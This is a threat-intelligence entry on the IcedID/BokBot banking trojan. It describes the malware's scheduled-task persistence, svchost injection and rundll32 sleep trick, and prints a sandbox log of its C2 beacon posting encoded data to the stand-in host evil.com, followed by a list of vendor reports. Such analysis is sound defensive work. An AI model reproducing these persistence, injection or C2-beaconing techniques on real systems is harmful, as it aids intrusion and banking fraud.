SYMBOL | COMMON_NAME | aka. SYNONYMS |
Actor(s): Lunar Spider
URLhausAnalysis Observations:
* It sets up persistence by creating a Scheduled Task with the following characteristics:
* Name: Update
* Trigger: At Log on
* Action: %LocalAppData%\$Example\\waroupada.exe /i
* Conditions: Stop if the computer ceases to be idle.
* The sub-directory within %LocalAppdata%, Appears to be randomly picked from the list of directories within %ProgramFiles%. This needs more verification.
* The filename remained static during analysis.
* The original malware exe (ex. waroupada.exe) will spawn an instance of svchost.exe as a sub-process and then inject/execute its malicious code within it
* If “/i” is not passed as an argument, it sets up persistence and waits for reboot.
* If “/I” is passed as an argument (as is the case when the scheduled task is triggered at login), it skips persistence setup and actually executes; resulting in C2 communication.
* Employs an interesting method for sleeping by calling the Sleep function of kernel32.dll from the shell, like so:
rundll32.exe kernel32,Sleep -s
* Setup a local listener to proxy traffic on 127.0.0.1:50000
**[Example Log from C2 Network Communication]**
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] connect
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: POST /forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11 HTTP/1.1
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Connection: close
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Type: application/x-www-form-urlencoded
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Length: 196
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Host: evil.com
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: <(POSTDATA)>
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: POST data stored to: /var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: **Request URL: hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11**
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending fake file configured for extension 'php'.
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: HTTP/1.1 200 OK
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Type: text/html
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Server: INetSim HTTPs Server
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Date: Mon, 19 Mar 2018 16:45:55 GMT
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Connection: Close
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Length: 258
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending file: /var/lib/inetsim/http/fakefiles/sample.html
[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] stat: 1 **method=POST url=hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11** sent=/var/lib/inetsim/http/fakefiles/sample.html postdata=/var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2
2021-01-07 ⋅ Palo Alto Networks Unit 42 ⋅ TA551: Email Attack Campaign Switches from Valak to IcedID IcedID |
2020-12-10 ⋅ NRI SECURE ⋅ マルウェア「IcedID」の検知傾向と感染に至るプロセスを徹底解説 IcedID |
2020-12-09 ⋅ Cisco ⋅ Quarterly Report: Incident Response trends from Fall 2020 Cobalt Strike IcedID Maze RansomEXX Ryuk |
2020-12-09 ⋅ Microsoft ⋅ EDR in block mode stops IcedID cold IcedID |
2020-12-02 ⋅ CyberInt ⋅ IcedID Stealer Man-in-the-browser Banking Trojan IcedID |
2020-11-26 ⋅ Cybereason ⋅ Cybereason vs. Egregor Ransomware Cobalt Strike Egregor IcedID ISFB QakBot |
2020-09-29 ⋅ Microsoft ⋅ Microsoft Digital Defense Report Emotet IcedID Mailto Maze QakBot REvil RobinHood TrickBot |
2020-08-16 ⋅ kienmanowar Blog ⋅ Manual Unpacking IcedID Write-up IcedID |
2020-08-12 ⋅ Juniper ⋅ IcedID Campaign Strikes Back IcedID |
2020-08-10 ⋅ tccontre Blog ⋅ Learning From ICEID loader - Including its Steganography Payload Parsing IcedID |
2020-07-30 ⋅ Spamhaus ⋅ Spamhaus Botnet Threat Update Q2 2020 AdWind Agent Tesla Arkei Stealer AsyncRAT Ave Maria Azorult DanaBot Emotet IcedID ISFB KPOT Stealer Loki Password Stealer (PWS) Nanocore RAT NetWire RC NjRAT Pony Raccoon RedLine Stealer Remcos Zloader |
2020-07-01 ⋅ Cisco Talos ⋅ Threat Spotlight: Valak Slithers Its Way Into Manufacturing and Transportation Networks Valak IcedID ISFB MyKings Spreader |
2020-06-22 ⋅ zero2auto ⋅ Unpacking Visual Basic Packers – IcedID IcedID |
2020-06-18 ⋅ Juniper ⋅ COVID-19 and FMLA Campaigns used to install new IcedID banking malware IcedID |
2020-06-17 ⋅ Github (f0wl) ⋅ deICEr: A Go tool for extracting config from IcedID second stage Loaders IcedID |
2020-05-29 ⋅ Group-IB ⋅ IcedID: When ice burns through bank accounts IcedID |
2020-03-04 ⋅ CrowdStrike ⋅ 2020 CrowdStrike Global Threat Report MESSAGETAP More_eggs 8.t Dropper Anchor BabyShark BadNews Clop Cobalt Strike CobInt Cobra Carbon System Cutwail DanaBot Dharma DoppelPaymer Dridex Emotet FlawedAmmyy FriedEx Gandcrab Get2 IcedID ISFB KerrDown LightNeuron LockerGoga Maze MECHANICAL Necurs Nokki Outlook Backdoor Phobos Ransomware Predator The Thief QakBot REvil RobinHood Ryuk SDBbot Skipper SmokeLoader TerraRecon TerraStealer TerraTV TinyLoader TrickBot vidar Winnti ANTHROPOID SPIDER Anunak APT31 APT39 BlackTech BuhTrap Charming Kitten CLOCKWORD SPIDER DOPPEL SPIDER Gamaredon Group Leviathan MONTY SPIDER Mustang Panda NARWHAL SPIDER NOCTURNAL SPIDER Pinchy Spider Pirate Panda Salty Spider SCULLY SPIDER SMOKY SPIDER Thrip VENOM SPIDER |
2020-02-18 ⋅ Sophos Labs ⋅ Nearly a quarter of malware now communicates using TLS Dridex IcedID TrickBot |
2020 ⋅ Secureworks ⋅ GOLD SWATHMORE GlobeImposter Gozi IcedID TrickBot Lunar Spider |
2019-12-18 ⋅ Github (psrok1) ⋅ IcedID PNG Extractor IcedID |
2019-12-12 ⋅ FireEye ⋅ Cyber Threat Landscape in Japan – Revealing Threat in the Shadow Cerberus TSCookie Cobalt Strike Dtrack Emotet Formbook IcedID Icefog IRONHALO Loki Password Stealer (PWS) PandaBanker PLEAD poisonplug TrickBot BlackTech |
2019-12-03 ⋅ Malwarebytes ⋅ New version of IcedID Trojan uses steganographic payloads IcedID |
2019-07-09 ⋅ Fortinet ⋅ A Deep Dive Into IcedID Malware: Part I - Unpacking, Hooking and Process Injection IcedID |
2019-06-25 ⋅ IcedID aka #Bokbot Analysis with Ghidra IcedID |
2019-06-16 ⋅ Fortinet ⋅ A Deep Dive Into IcedID Malware: Part II - Analysis of the Core IcedID Payload (Parent Process) IcedID |
2019-04-04 ⋅ SecurityIntelligence ⋅ IcedID Banking Trojan Spruces Up Injection Tactics to Add Stealth IcedID |
2019-03-21 ⋅ CrowdStrike ⋅ Interception: Dissecting BokBot’s “Man in the Browser” IcedID |
2019-02-15 ⋅ CrowdStrike ⋅ “Sin”-ful SPIDERS: WIZARD SPIDER and LUNAR SPIDER Sharing the Same Web Dyre IcedID TrickBot Vawtrak Lunar Spider WIZARD SPIDER |
2019-02-06 ⋅ SecurityIntelligence ⋅ IcedID Operators Using ATSEngine Injection Panel to Hit E-Commerce Sites IcedID |
2019-01-03 ⋅ CrowdStrike ⋅ Digging into BokBot’s Core Module IcedID |
2018-11-09 ⋅ Youtube (OALabs) ⋅ Reverse Engineering IcedID / Bokbot Malware Part 2 IcedID |
2018-10-26 ⋅ Youtube (OALabs) ⋅ Unpacking Bokbot / IcedID Malware - Part 1 IcedID |
2018-09-07 ⋅ Let's Learn: Deeper Dive into "IcedID"/"BokBot" Banking Malware: Part 1 IcedID |
2018-08-09 ⋅ Fox-IT ⋅ Bokbot: The (re)birth of a banker IcedID Vawtrak |
2018-04-10 ⋅ Cisco Talos ⋅ IcedID Banking Trojan Teams up with Ursnif/Dreambot for Distribution IcedID |
2017-11-14 ⋅ Digital Guardian ⋅ IceID Banking Trojan Targeting Banks, Payment Card Providers, E-Commerce Sites IcedID |
2017-11-13 ⋅ SecurityIntelligence ⋅ New Banking Trojan IcedID Discovered by IBM X-Force Research IcedID IcedID Downloader |
2017-11-13 ⋅ Intezer ⋅ IcedID Banking Trojan Shares Code with Pony 2.0 Trojan IcedID IcedID Downloader |